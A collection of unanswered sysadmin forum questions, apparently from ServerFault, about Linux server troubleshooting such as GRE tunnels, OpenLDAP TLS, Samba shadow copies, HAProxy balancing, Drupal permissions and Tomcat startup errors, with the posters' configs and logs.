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• centos 6 debuginfo repository does not have httpd debug version available

  - by Zippy Zeppoli

  I am trying to get the debug version of httpd so I can use it in conjunction with gdb. I am having a hard time getting them, and they don't seem to be in the standard epel-debuginfo repository. What should I do? > [root@buildbox-rhel6 ~]# debuginfo-install httpd Loaded plugins: fastestmirror, presto enabling epel-debuginfo Loading mirror speeds from cached hostfile epel-debuginfo/metalink | 8.3 kB 00:00 * base: mirrors.cicku.me * epel: mirrors.kernel.org * epel-debuginfo: mirrors.kernel.org * extras: mirrors.arpnetworks.com * updates: linux.mirrors.es.net epel-debuginfo | 3.1 kB 00:00 epel-debuginfo/primary_db | 487 kB 00:01 Checking for new repos for mirrors Could not find debuginfo for main pkg: httpd-2.2.15-15.el6.centos.1.x86_64 Could not find debuginfo pkg for dependency package apr-1.3.9-5.el6_2.x86_64 Could not find debuginfo pkg for dependency package apr-util-1.3.9-3.el6_0.1.x86_64 Could not find debuginfo pkg for dependency package glibc-2.12-1.80.el6_3.6.x86_64 Could not find debuginfo pkg for dependency package glibc-2.12-1.80.el6_3.6.x86_64 Could not find debuginfo pkg for dependency package glibc-2.12-1.80.el6_3.6.x86_64 Could not find debuginfo pkg for dependency package glibc-2.12-1.80.el6_3.6.x86_64 Could not find debuginfo pkg for dependency package glibc-2.12-1.80.el6_3.6.x86_64 Could not find debuginfo pkg for dependency package glibc-2.12-1.80.el6_3.6.x86_64 Could not find debuginfo pkg for dependency package db4-4.7.25-17.el6.x86_64 Could not find debuginfo pkg for dependency package expat-2.0.1-11.el6_2.x86_64 Could not find debuginfo pkg for dependency package openldap-2.4.23-26.el6_3.2.x86_64 Could not find debuginfo pkg for dependency package openldap-2.4.23-26.el6_3.2.x86_64 Could not find debuginfo pkg for dependency package glibc-2.12-1.80.el6_3.6.x86_64 Could not find debuginfo pkg for dependency package pcre-7.8-4.el6.x86_64 Could not find debuginfo pkg for dependency package glibc-2.12-1.80.el6_3.6.x86_64 Could not find debuginfo pkg for dependency package glibc-2.12-1.80.el6_3.6.x86_64 Could not find debuginfo pkg for dependency package libselinux-2.0.94-5.3.el6.x86_64 Could not find debuginfo pkg for dependency package zlib-1.2.3-27.el6.x86_64 No debuginfo packages available to install

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• How to force certain traffic through GRE tunnel?

  - by wew

  Here's what I do. Server (public internet is 222.x.x.x): echo 'net.ipv4.ip_forward=1' >> /etc/sysctl.conf sysctl -p iptunnel add gre1 mode gre local 222.x.x.x remote 115.x.x.x ttl 255 ip add add 192.168.168.1/30 dev gre1 ip link set gre1 up iptables -t nat -A POSTROUTING -s 192.168.168.0/30 -j SNAT --to-source 222.x.x.x iptables -t nat -A PREROUTING -d 222.x.x.x -j DNAT --to-destination 192.168.168.2 Client (public internet is 115.x.x.x): iptunnel add gre1 mode gre local 115.x.x.x remote 222.x.x.x ttl 255 ip add add 192.168.168.2/30 dev gre1 ip link set gre1 up echo '100 tunnel' >> /etc/iproute2/rt_tables ip rule add from 192.168.168.0/30 table tunnel ip route add default via 192.168.168.1 table tunnel Until here, all seems going right. But then 1st question, how to use GRE tunnel as a default route? Client computer is still using 115.x.x.x interface as default. 2nd question, how to force only ICMP traffic to go through tunnel, and everything else go default interface? I try doing this in client computer: ip rule add fwmark 200 table tunnel iptables -t mangle -A OUTPUT -p udp -j MARK --set-mark 200 But after doing this, my ping program will timeout (if I not doing 2 command above, and using ping -I gre1 ip instead, it will works). Later I want to do something else also, like only UDP port 53 through tunnel, etc. 3rd question, in client computer, I force one mysql program to listen on gre1 interface 192.168.168.2. In client computer, there's also one more public interface (IP 114.x.x.x)... How to forward traffic properly using iptables and route so mysql also respond a request coming from this 114.x.x.x public interface?

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• Favorite tricks with linux kernel boot parameters?

  - by ~drpaulbrewer

  Most linux bootloaders let you edit the kernel boot command line before booting. There are often lots of parameters available -- Knoppix, for instance, has a list on their Knoppix Cheat Codes page -- but most are applicable only to compatibility and special situations. A few are hidden gems. Common usages of these codes are to boot to single-user mode, alter screen mode or drivers, or to specify an alternative root directory. Other more exotic uses are possible. Some linux distributions let you copy the boot cd into ram. Others (e.g., Ubuntu) let you use preseed files to clone installs when setting up multiple systems -- useful when installing a lab full of computers without having to baby sit each install. What other tricks have you found useful in system installs, repairs, backups, restores, establishing temporary servers, or other tasks? To add your favorite trick to the list: As much of the code for these options goes on either in initrd, or in a service handler that detects the kernel parameters, please list *(1) the kernel boot line parameter, (2) what it does, (3) the linux distribution and any required packages to activate the feature*. Thanks.

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• Chef: nested data bag data to template file returns "can't convert String into Integer"

  - by Dalho Park

  I'm creating simple test recipe with a template and data bag. What I'm trying to do is creating a config file from data bag that has simple nested information, but I receive error "can't convert String into Integer" Here are my setting file 1) recipe/default.rb data1 = data_bag_item( 'mytest', 'qa' )['test'] data2 = data_bag_item( 'mytest', 'qa' ) template "/opt/env/test.cfg" do source "test.erb" action :create_if_missing mode 0664 owner "root" group "root" variables({ :pepe1 = data1['part.name'], :pepe2 = data2['transport.tcp.ip2'] }) end 2)my data bag named "mytest" $knife data bag show mytest qa id: qa test: part.name: L12 transport.tcp.ip: 111.111.111.111 transport.tcp.port: 9199 transport.tcp.ip2: 222.222.222.222 3)template file test.erb part.name=<%= @pepe1 % transport.tcp.binding=<%= @pepe2 % Error reurns when I run chef-client on my server, [2013-06-24T19:50:38+00:00] DEBUG: filtered backtrace of compile error: /var/chef/cache/cookbooks/config_test/recipes/default.rb:19:in []',/var/chef/cache/cookbooks/config_test/recipes/default.rb:19:inblock in from_file',/var/chef/cache/cookbooks/config_test/recipes/default.rb:12:in from_file' [2013-06-24T19:50:38+00:00] DEBUG: filtered backtrace of compile error: /var/chef/cache/cookbooks/config_test/recipes/default.rb:19:in[]',/var/chef/cache/cookbooks/config_test/recipes/default.rb:19:in block in from_file',/var/chef/cache/cookbooks/config_test/recipes/default.rb:12:infrom_file' [2013-06-24T19:50:38+00:00] DEBUG: backtrace entry for compile error: '/var/chef/cache/cookbooks/config_test/recipes/default.rb:19:in `[]'' [2013-06-24T19:50:38+00:00] DEBUG: Line number of compile error: '19' Recipe Compile Error in /var/chef/cache/cookbooks/config_test/recipes/default.rb TypeError can't convert String into Integer Cookbook Trace: /var/chef/cache/cookbooks/config_test/recipes/default.rb:19:in []' /var/chef/cache/cookbooks/config_test/recipes/default.rb:19:inblock in from_file' /var/chef/cache/cookbooks/config_test/recipes/default.rb:12:in `from_file' Relevant File Content: /var/chef/cache/cookbooks/config_test/recipes/default.rb: 12: template "/opt/env/test.cfg" do 13: source "test.erb" 14: action :create_if_missing 15: mode 0664 16: owner "root" 17: group "root" 18: variables({ 19 :pepe1 = data1['part.name'], 20: :pepe2 = data2['transport.tcp.ip2'] 21: }) 22: end 23: I tried many things and if I comment out "pepe1 = data1['part.name'],", then :pepe2 = data2['transport.tcp.ip2'] works fine. only nested data "part.name" cannot be set to @pepe1. Does anyone knows why I receive the errors? thanks,

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• OpenLDAP, howto allow both secure (TLS) and unsecure (normal) connections?

  - by Mikael Roos

  Installed OpenLDAP 2.4 on FreeBSD 8.1. It works for ordinary connections OR for TLS connections. I can change it by (un)commenting the following lines in slapd.conf. # Enable TLS #security ssf=128 # Disable TLS security ssf=0 Is there a way to allow the clients to connect using TLS OR no-TLS? Can the ldap-server be configured to support both TLS connections and no-TLS connections? Tried to find the information in the manual, but failed: http://www.openldap.org/doc/admin24/access-control.html#Granting%20and%20Denying%20access%20based%20on%20security%20strength%20factors%20(ssf) http://www.openldap.org/doc/admin24/tls.html#Server%20Configuration Tried to read up on 'security' in manualpage for ldap.conf, didn't find the info there either. I guess I need to configure the 'secure' with some negotiation mechanism, "try to use TLS if client has it, otherwise continue using no-TLS". Connecting with a client (when slapd.conf is configure to use TLS): gm# ldapsearch -x -b '' -s base '(objectclass=*)' namingContexts ldap_bind: Confidentiality required (13) additional info: TLS confidentiality required gm# ldapsearch -Z -x -b '' -s base '(objectclass=*)' namingContexts (this works, -Z makes a TLS connection) So, can I have my ldap-server supporting client connections using TLS and ordinary (no-TLS) connections? Thanx in advance.

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• Samba 3.5 Shadow Copy for Windows 7

  - by Prashanth Sundaram

  Over the past several days I have been trying to get the shadow to work with samba but haven’t been successful. Can someone check below config and let me know if I am missing something? We are using Equallogic SAN and iSCSI LUNS to mount volumes. I can cleanly access samba shares on Windows 7 clients but just not shadow copy. I have referred the official how-to but couldn’t get it to work. I see these messages in the logs. Any help is deeply appreciated. [2012/10/31 12:20:53.549863, 0] smbd/nttrans.c:2170(call_nt_transact_ioctl) FSCTL_GET_SHADOW_COPY_DATA: connectpath /fs/test-01, failed. [2012/10/31 12:21:13.887198, 0] modules/vfs_shadow_copy2.c:734(shadow_copy2_get_shadow_copy2_data) shadow:snapdir not found for /fs/test-01 in get_shadow_copy_data [2012/10/31 12:21:13.887265, 0] smbd/nttrans.c:2170(call_nt_transact_ioctl) FSCTL_GET_SHADOW_COPY_DATA: connectpath /fs/test-01, failed. == Samba pkgs == samba-3.5.10-116.el6_2.x86_64 samba-common-3.5.10-116.el6_2.x86_64 samba-winbind-clients-3.5.10-116.el6_2.x86_64 samba-client-3.5.10-116.el6_2.x86_64 === df –h == First is the iSCSI LUN and 2 others are snapshots. /dev/mapper/eql-0-fs-test01 5.0G 2.3G 2.5G 48% /fs/test-01 /dev/mapper/eql-2-0+fs-test01 5.0G 2.3G 2.5G 48% /fs/test-01/@GMT-2012.10.26-17.32.42/fs/test-01 (SNAPSHOT-1) /dev/mapper/eql-d-0+fs-test01 5.0G 2.3G 2.5G 48% /fs/test-01/@GMT-2012.10.31-11.52.42/fs/test-01 (SNAPSHOT- 2) ===/etc/samba/smb.conf === [global] workgroup = DOMAIN server string = Samba Server Version %v security = ads realm = DOMAIN.CORP encrypt passwords = yes guest account = nobody map to guest = bad uid log file = /var/log/samba/%m.log domain master = no local master = no preferred master = no os level = 0 load printers = no show add printer wizard = no printable = no printcap name = /dev/null disable spoolss = yes follow symlinks = yes wide links = yes unix extensions = no [test] comment = Test Directories path = /fs/test-01 vfs objects = shadow_copy2 #shadow_copy2: sort = desc #shadow: localtime = yes #shadow: snapdir = /fs/test-01/test #shadow: basedir = /fs/test-01 guest ok = yes writeable = yes map archive = no force create mode = 0660 force directory mode = 2770 inherit owner = yes inherit permissions = yes All feedback is welcome. Thanks!

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• Running gdb on Ubuntu 9.10 Apache2 Install

  - by AJ

  Hi all, I am trying to run gdb to debug my Ubuntu 9.10 Apache2 install and having a couple of problems: It seems like the package installed by Ubuntu for Apache2 does not include debugging symbols; is there a different version of the package I should be using for developing/debugging? When I try to run gdb, I get an error that looks to be caused by some missing environment variable. Are there additional options I should pass to "run" to get this to work? Here is the output of the debugger session: root@aj-ubuntu:/usr/sbin# gdb apache2 GNU gdb (GDB) 7.0-ubuntu Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/sbin/apache2...(no debugging symbols found)...done. (gdb) run -X Starting program: /usr/sbin/apache2 -X [Thread debugging using libthread_db enabled] apache2: bad user name ${APACHE_RUN_USER} Program exited with code 01. (gdb) Thanks in advance, -aj

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• Is my dns server being attacked? And what should I do about it?

  - by Mnebuerquo

  I've been having some intermittent dns problems with a web server, where certain isp's dns servers don't have my hostnames in cache and fail to look them up. At the same time, queries to opendns for those hostnames resolve correctly. It's intermittent, and it always works fine for me, so it's hard to identify the problem when someone reports connectivity problems to my site. In trying to figure this out, I've been looking at my logs to see if there are any errors I should know about. I found thousands of the following messages in my logs, from different ip's, but all requesting similar dns records: May 12 11:42:13 localhost named[26399]: client 94.76.107.2#36141: query (cache) 'burningpianos.com/MX/IN' denied May 12 11:42:13 localhost named[26399]: client 94.76.107.2#29075: query (cache) 'burningpianos.com/MX/IN' denied May 12 11:42:13 localhost named[26399]: client 94.76.107.2#47924: query (cache) 'burningpianos.com/MX/IN' denied May 12 11:42:13 localhost named[26399]: client 94.76.107.2#4727: query (cache) 'burningpianos.com/MX/IN' denied May 12 11:42:14 localhost named[26399]: client 94.76.107.2#16153: query (cache) 'burningpianos.com/MX/IN' denied May 12 11:42:14 localhost named[26399]: client 94.76.107.2#40267: query (cache) 'burningpianos.com/MX/IN' denied May 12 11:43:35 localhost named[26399]: client 82.209.240.241#63507: query (cache) 'burningpianos.com/MX/IN' denied May 12 11:43:35 localhost named[26399]: client 82.209.240.241#63721: query (cache) 'burningpianos.org/MX/IN' denied May 12 11:43:36 localhost named[26399]: client 82.209.240.241#3537: query (cache) 'burningpianos.com/MX/IN' denied I've read of Dan Kaminski's dns cache poisoning vulnerability, and I'm wondering if these log records are an attempt by some evildoer to attack my dns server. There are thousands of records in my logs, all requesting "burningpianos", some for com and some for org, most looking for an mx record. There are requests from multiple ip's, but each ip will request hundreds of times per day. So this smells to me like an attack. What is the defense against this?

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• Drupal install and permissions

  - by Richard

  So I'm really stuck on this issue. An install process is complaining about write permission on settings.php and sites/default/files/. However, I've moved these files temporarily to write/read (chmod 777) and changed the owner/group to "apache" as shown below. -bash-4.1$ ls -hal total 28K drwxrwxrwx. 3 richard richard 4.0K Aug 23 15:03 . drwxr-xr-x. 4 richard richard 4.0K Aug 18 14:20 .. -rwxrwxrwx. 1 apache apache 9.3K Mar 23 16:34 default.settings.php drwxrwxrwx. 2 apache apache 4.0K Aug 23 15:03 files -rwxrwxrwx. 1 apache apache 0 Aug 23 15:03 settings.php However, the install is still complaining about write permissions. I followed steps one and two of the INSTALL.txt but no luck. Update: To further explore the situation, I created sites/default/richard.php with the following code: <?php error_reporting(E_ALL); ini_set('display_errors', '1'); mkdir('files'); print("<hr> User is "); passthru("whoami"); passthru("pwd"); ?> Run from the command line (under user "richard"), no problem. The folder is created everything is a go. Run from the web, I get the following: Warning: mkdir(): Permission denied in /var/www/html/sites/default/richard.php on line 9 User is apache /var/www/html/sites/default Update 2: Safe mode appears to be off... -bash-4.1$ cat /etc/php.ini | grep safe | grep mode | grep -v \; safe_mode = Off safe_mode_gid = Off safe_mode_include_dir = safe_mode_exec_dir = safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars = LD_LIBRARY_PATH sql.safe_mode = Off

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• How do I install PHP 5.3 on CentOS?

  - by fivelitresofsoda

  I have to install PHP 5.3 on my CentOS server. If I do yum install php, the base repository installs 5.1.6 which is too old for the applications I need to install. So I've been trying to use the IUS repository, following the official instructions from IUS: root@linuxbox ~]# wget http://dl.iuscommunity.org/pub/ius/stable/Redhat/5/x86_64/ius-release-1-2.ius.el5.noarch.rpm root@linuxbox ~]# wget http://dl.iuscommunity.org/pub/ius/stable/Redhat/5/x86_64/epel-release-1-1.ius.el5.noarch.rpm root@linuxbox ~]# rpm -Uvh ius-release*.rpm epel-release*.rpm OK. Now I simply do yum install php53, etc. for all I need... but I get this error: Running rpm_check_debug Running Transaction Test Finished Transaction Test Transaction Check Error: file /usr/bin/php from install of php53u-cli-5.3.4-3.ius.el5.x86_64 conflicts with file from package php-cli-5.1.6-27.el5_5.3.x86_64 file /usr/bin/php-cgi from install of php53u-cli-5.3.4-3.ius.el5.x86_64 conflicts with file from package php-cli-5.1.6-27.el5_5.3.x86_64 file /usr/share/man/man1/php.1.gz from install of php53u-cli-5.3.4-3.ius.el5.x86_64 conflicts with file from package php-cli-5.1.6-27.el5_5.3.x86_64 file /etc/php.ini from install of php53u-common-5.3.4-3.ius.el5.x86_64 conflicts with file from package php-common-5.1.6-27.el5_5.3.x86_64 Error Summary ------------- I have no idea on how to solve this. I think I have to delete the base packages. However, as someone new to Linux, I don't know how to do that.

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• jboss 5.1 mysql connection pooling

  - by boyd4715

  I am using JBOSS 5.1.0.GA, MySQL 5.5 and Hibernate 3.3.1 GA (included with JBOSS) + Spring. My question is do I need to add c3p0 as a data source in my spring/hibernate configuration for connection pooling or are the setting in the JBOSS mysql-ds.xml setting enough. My mysql-ds.xml is the following: <datasources> <local-tx-datasource> <jndi-name>MySqlDS</jndi-name> <connection-url>jdbc:mysql://localhost:3306/ecotrak</connection-url> <driver-class>com.mysql.jdbc.Driver</driver-class> <user-name>ecotrak</user-name> <password>ecotrak</password> <min-pool-size>5</min-pool-size> <max-pool-size>20</max-pool-size> <idle-timeout-minutes>5</idle-timeout-minutes> <exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name> <!-- should only be used on drivers after 3.22.1 with "ping" support --> <valid-connection-checker-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLValidConnectionChecker</valid-connection-checker-class-name> <!-- sql to call when connection is created <new-connection-sql>some arbitrary sql</new-connection-sql> --> <!-- sql to call on an existing pooled connection when it is obtained from pool - MySQLValidConnectionChecker is preferred for newer drivers <check-valid-connection-sql>some arbitrary sql</check-valid-connection-sql> --> <!-- corresponding type-mapping in the standardjbosscmp-jdbc.xml (optional) --> <metadata> <type-mapping>mySQL</type-mapping> </metadata> </local-tx-datasource> </datasources>

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• HA Proxy won't load balance my web requests. What have I done wrong?

  - by Josh Smeaton

  I've finally got HA Proxy set up and running in a way I think I want. However, it is not load balancing the web requests it receives. All requests are currently being forwarded to the first server in the cluster. I'm going to paste my configuration below - if anyone can see where I may have gone wrong, I'd appreciate it. This is my first stab at configuring web servers in a *nix environment. First up, I have HA Proxy running on the same host as the first server in the apache cluster. We are moving these servers to virtual later on, and they will have different virtual hosts, but I wanted to get this running now. Both web servers are receiving their health checks, and are reporting back correctly. The haproxy?stats page correctly reports servers that are up and down. I've tested this by altering the name of the file that is checked. I haven't put any load onto these servers yet. I've just opened up the URLs on several tabs (private browsing), and had several co-workers hit the URL too. All of the traffic goes to WEB1. Am I balancing incorrectly? global maxconn 10000 nbproc 8 pidfile /var/run/haproxy.pid log 127.0.0.1 local0 debug daemon defaults log global mode http retries 3 option redispatch maxconn 5000 contimeout 5000 clitimeout 50000 srvtimeout 50000 listen WEBHAEXT :80,:8443 mode http cookie sessionbalance insert indirect nocache balance roundrobin option httpclose option forwardfor except 127.0.0.1 option httpchk HEAD health_check.txt stats enable stats auth rah:rah server WEB1 10.90.2.131:81 cookie WEB_1 check server WEB2 10.90.2.130:80 cookie WEB_2 check

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• An XKB keyboard map that responds to the left and right shift key individually

  - by mbfisher

  First off, excuse my ignorance of X and XKB; I've been trying to hack together a solution in the hope of being able to achieve what I want without requiring a detailed grasp of it. I'm trying to create an XKB keyboard map on Ubuntu 12.04 that allows me to stipulate which of the two shift keys constitutes the Level2 modifier. Specifically, the 4 key should only produce a $ when the right shift is held, not the left. My reading so far: http://www.charvolant.org/~doug/xkb/html/node5.html http://people.uleth.ca/~daniel.odonnell/Blog/custom-keyboard-in-linuxx11 http://www.x.org/releases/X11R7.5/doc/input/XKB-Enhancing.html Lots of searching! I've attempted to define a custom type, and then refer to it explicitly in a symbols map: /usr/share/X11/xkb/types/mbfisher: default xkb_types "mbfisher" { type "RIGHT_SHIFT" { modifiers = None+Shift_R; map[None] = Level1; map[Shift_R] = Level2; }; } /usr/share/X11/xkb/symbols/mbfisher: default partial alphanumeric_keys xkb_symbols "basic" { name[Group1]= "mbfisher"; key <AE04> { type= "RIGHT_SHIFT", symbols[Group1]= [ 4, dollar ] }; }; I'm then selecting the map with the Ubuntu Keyboard Layout GUI. This obviously disables the alphanumeric keyboard apart from the 4 key, but the dollar sign can still be typed with either shift key. I'm conscious of writing a massive question with lots of useless information so I'll stop here; please ask for anything I've missed out. Any ideas?

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• Make dhcp assign same IP and hostname for different interfaces at one machine

  - by Egeshi

  I have a feeling that question itself looks stupid but it is not. Please let me clarify. I have dynamic DNS with BIND and NIS configured at my LAN and have laptop which I am using in both wireless and wired mode. I mean that sometimes I have to use wired interface to achieve higher throughput but most of time I don't need it and using wireless mode. Everything works great. Issue is that I want both interfaces get same IP from DHCP. Just for convenient firewall setup. If I add both hosts to dhcp in this manner # bt wireless host bt { hardware ethernet 00:1f:1f:62:60:28; fixed-address 172.16.77.110; } # bt wired host bt { hardware ethernet 00:14:22:b7:5a:de; fixed-address 172.16.77.110; } DHCP says logs following message dhcpd: Dynamic and static leases present for 172.16.77.110 dhcpd: Remove host declaration bt-wired or remove 172.16.77.110 dhcpd: from the dynamic address pool for 172.16/16 Host records are added outside of any subnet, but it makes no difference if I put them there, effect is still the same. This is not critical but either is not my whim because even if DHCP seems to work fine for that "bt" host, I cannot make connection TO it from remote machine anymore with this definitely incorrect DHCP config. I'd be thankful if one spares a minute for advice about how to configure DHCPD correctly. UPDATE. I realize that there's a soulution to assign different hostname in DHCP config but would like to use benefits of short host names.

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• Workstations cannot see new MS Server 2008 domain, but can access DHCP.

  - by Radix

  The XP Pro workstations do not see the new replacement domain upon boot; they only see their cached entry for the old (server 2003) domain controller. The old_server is not connected to the network. I have DHCP working with the same scope as the old_server. In my "before-asking" search for a solution I came across the following two articles, and I recall doing things as suggested by the articles. http://www.windowsreference.com/windows-server-2008/how-to-setup-dhcp-server-in-windows-server-2008-step-by-step-guide/ http://www.windowsreference.com/windows-server-2008/step-by-step-guide-for-windows-server-2008-domain-controller-and-dns-server-setup/ The only possible issue is: I was under the impression that the domain netbios needed to match the DC's netbios. The DC netbios is city01 while the domain's FQDN is city.domain.org (I think this is mistaken and should have been just domain.org) But, the second link led me to a post which I believe answers my question. I did as they instructed by opening Local Area Connection Properties, then selecting TCP/IPv4 and setting the sole preferred DNS server to the local hosts static IP (10.10.1.1). Search for "Your problems should clear up" for the post I'm referencing: http://forums.techarena.in/active-directory/1032797.htm Have I misunderstood their instructions? I am hoping to reach the point where I can define users and user groups. Also, does TechNet have a single theoretical overview document I could read. I really don't like treating comps as magic. I will be watching this closely and will quickly answer any questions. If I've left anything out it is because I did not know it was needed. PS: I am loath to ask obviously basic questions, but I am tired and wish to fix this before tomorrow. Also, this is my first server installation, thank you for your help.

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• special case ssh connection lag

  - by Hersheezy

  Setup We have a DMZ and LAN in our office that are connected to the outside with the following setup: +------+ | |------> LAN (normal office router) |Modem | | |------> DMZ (a single machine) +------+ Our internet account is with Comcast and we have 5 status IPs, one of which points to the single machine in the DMZ. Problem ssh connections initiated ANYWHERE EXCEPT the office LAN are really fast. However, from the LAN, there is about a 5 second delay. WTF?? Extra info The DMZ machine is debian 5. Executing a wget to the DMZ has no lag. When executing the following, everything up to HERE IS WHERE THE LAG IS INCURRED executes immediately. ssh -vvvv [email protected] ... debug2: set_newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug3: Wrote 16 bytes for a total of 1015 debug2: set_newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug3: Wrote 48 bytes for a total of 1063 debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received debug2: key: /home/shopkins/.ssh/id_rsa (0x22440830) debug2: key: /home/shopkins/.ssh/identity ((nil)) debug2: key: /home/shopkins/.ssh/id_dsa ((nil)) debug3: Wrote 64 bytes for a total of 1127` HERE IS WHERE THE LAG IS INCURRED debug1: Authentications that can continue: publickey,password debug3: start over, passed a different list publickey,password debug3: preferred gssapi-keyex,gssapi-with-mic,gssapi,publickey,keyboard-interactive,password debug3: authmethod_lookup publickey debug3: remaining preferred: keyboard-interactive,password debug3: authmethod_is_enabled publickey debug1: Next authentication method: publickey debug1: Offering public key: /home/shopkins/.ssh/id_rsa debug3: send_pubkey_test debug2: we sent a publickey packet, wait for reply debug3: Wrote 368 bytes for a total of 1495 debug1: Authentications that can continue: publickey,password debug1: Trying private key: /home/shopkins/.ssh/identity debug3: no such identity: /home/shopkins/.ssh/identity debug1: Trying private key: /home/shopkins/.ssh/id_dsa debug3: no such identity: /home/shopkins/.ssh/id_dsa debug2: we did not send a packet, disable method debug3: authmethod_lookup password debug3: remaining preferred: ,password debug3: authmethod_is_enabled password debug1: Next authentication method: password [email protected]'s password:

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• Trying to use Nginx try_files to emulate Apache MultiViews

  - by Samuel Bierwagen

  I want a request to http://example.com/foobar to return http://example.com/foobar.jpg. (Or .gif, .html, .whatever) This is trivial to do with Apache MultiViews, and it seems like it would be equally easy in Nginx. This question seems to imply that it'd be easy as try_files $uri $uri/ index.php; in the location block, but that doesn't work. try_files $uri $uri/ =404; doesn't work, nor does try_files $uri =404; or try_files $uri.* =404; Moving it between my location / { block and the regexp which matches images has no effect. Crucially, try_files $uri.jpg =404; does work, but only for .jpg files, and it throws a configuration error if I use more than one try_files rule in a location block! The current server { block: server { listen 80; server_name example.org www.example.org; access_log /var/log/nginx/vhosts.access.log; root /srv/www/vhosts/example; location / { root /srv/www/vhosts/example; } location ~* \.(?:ico|css|js|gif|jpe?g|es|png)$ { expires max; add_header Cache-Control public; try_files $uri =404; } } Nginx version is 1.1.14.

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• Unable to start tomcat6: Java error (Exception in thread "main")

  - by Nyxynyx

  After installing tomcat6 on CentOS 6.3, I am unable to start tomcat6 server. root@host [/var/log/tomcat6]# service tomcat6 start Starting tomcat6: [ OK ] Although it says OK, I cant access http://mydomain.com:8080. catalina.out Exception in thread "main" java.lang.NullPointerException at java.lang.VMClassLoader.defineClass(libgcj.so.10) at java.lang.ClassLoader.defineClass(libgcj.so.10) at java.security.SecureClassLoader.defineClass(libgcj.so.10) at java.net.URLClassLoader.findClass(libgcj.so.10) at gnu.gcj.runtime.SystemClassLoader.findClass(libgcj.so.10) at java.lang.ClassLoader.loadClass(libgcj.so.10) at java.lang.ClassLoader.loadClass(libgcj.so.10) at gnu.java.lang.MainThread.run(libgcj.so.10) Tomcat6 was installed using yum: yum -y install java tomcat6 tomcat6-webapps tomcat6-admin-webapps When I tried to find the version: tomcat6 version: Exception in thread "main" java.lang.NoClassDefFoundError: org.apache.catalina.util.ServerInfo at gnu.java.lang.MainThread.run(libgcj.so.10) Caused by: java.lang.ClassNotFoundException: org.apache.catalina.util.ServerInfo not found in gnu.gcj.runtime.SystemClassLoader{urls=[], parent=gnu.gcj.runtime.ExtensionClassLoader{urls=[], parent=null}} at java.net.URLClassLoader.findClass(libgcj.so.10) at gnu.gcj.runtime.SystemClassLoader.findClass(libgcj.so.10) at java.lang.ClassLoader.loadClass(libgcj.so.10) at java.lang.ClassLoader.loadClass(libgcj.so.10) at gnu.java.lang.MainThread.run(libgcj.so.10) Any idea what I should do? Thanks!

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• Opening and Testing Ports on Modem > Router Connection

  - by JakeTheSnake

  Working off of my last question, I can access my server's FTP over the LAN but not over the internet. I'm using Filezilla on port 666. My router/modem configuration is as such (similar to other post): 1) Modem connects to WAN 2) WAN port on modem connects to LAN port on Router 3) Modem internal IP address is 192.168.0.254 4) Router internal IP address is 192.168.0.1 5) Modem has DHCP turned OFF 6) Router has DHCP turned ON 7) Router is running Tomato firmware and it's set as 'Router' (not 'Gateway') 8) The internet is working (just had to say that) I've set up port forwarding both on the modem and router - both route port 666 to the IP address of 192.168.0.3 (TCP); that is the IP address of the server which has FileZilla running. I don't know if that's hindering anything but I've also tried it with just the modem and just the router...same result. I've also tried setting the server to be DMZ (both on router and modem). Neither router nor modem have anything in their logs about denying inbound traffic on port 666 so my ability to troubleshoot stops there. I've tried contacting my ISP (Telus, running on mobility plan...it's a "Smart" Hub) but they weren't much help. They said they only block port 25 and 80 and maybe a few others, but not most ports. I test whether or not the port is open by going to canyouseeme.org - I don't know whether or not that would produce a 'connection refused' result just based on the fact that the FTP requires a login...I'm not well versed on this matter. FWIW, sometimes I get a 'connection refused' error on canyouseeme.org but mostly it's 'connection timed out'. I don't know what else to do at this point.

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• running red5 on port 80

  - by ArneLovius

  I have a red5 application http://code.google.com/p/openmeetings that runs under red5, and is accessible on port 5080 and 8443 I've installed it on Ubuntu 10.04 The eventual aim is to have it accessible via https on 443 instead of 8443, but I thought I would initially try on 80 so that any issues were just down to the port configuration and not SSL certificates. I've tried changing the port from 5080 to 80 in the red5.properties file, but it fails to start. In the red5.log I have seen ERROR o.a.coyote.http11.Http11Protocol - Error initializing endpoint java.net.BindException: Permission denied /0.0.0.0:80 In the error.log I have seen ERROR o.a.coyote.http11.Http11Protocol - Error initializing endpoint java.net.BindException: Permission denied /0.0.0.0:80 and ERROR org.red5.server.tomcat.TomcatLoader - Error loading tomcat, unable to bind connector. You may not have permission to use the selected port org.apache.catalina.LifecycleException: Protocol handler initialization failed: java.net.BindException: Permission denied /0.0.0.0:80 There is nothing else installed or running on port 80, so I presume that this is a "needs to be root" situation. I would rather not run an Internet accessible web service as root. I know that Tomcat can run on port 80 by changing “#AUTHBIND=no” to “AUTHBIND=yes” in /etc/default/tomcat6 but I have not been able to find anything similar for red5. Am I on a hiding to nothing, or is there better way than running as root ? Thanks!

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• Acer Aspire One (mini) mfgd 9/03 locks up also when plugged in

  - by LAURIE ANN

  My problem is almost the same as the Toshiba user (Toshiba A205-5804 freezes when plugged in): Well I have a Toshiba A205-5804 and the problem is that the screen freezes anytime I plug the pc into the external power supply, not as most of the computers having the same issue, my computer DOES freeze in safe mode, and I really can't bear this problem for much longer... It's not an overheat problem, the computer is not getting hot or anything related, I've tried already to change the AC adapter, to boot only with AC and no battery, and also all of these suggestions: The only difference in my case is: I can be using the battery and when it runs down, I can just close the lid and the system goes into hibernation mode. I then plug it in and let it charge. When I think it's finally charged, I can UNPLUG it, open the lid and all is running fine on the battery again. Note: the system was NOT shut down and it still runs as long as I remove the power plug before opening the lid. I have ALL the same issues as the other Toshiba user, also. I was a tech for 9 yrs in my own business and this one has not only stumped me, but anyone I have asked has never heard of this problem. Every repair center wants to charge me for diagnosis, even is they cannot fix it. I would really like to run this system along side of my new Acer Aspire 17" laptop as I need it to finish my grad school work. Any ideas would be GREATLY appreciated. 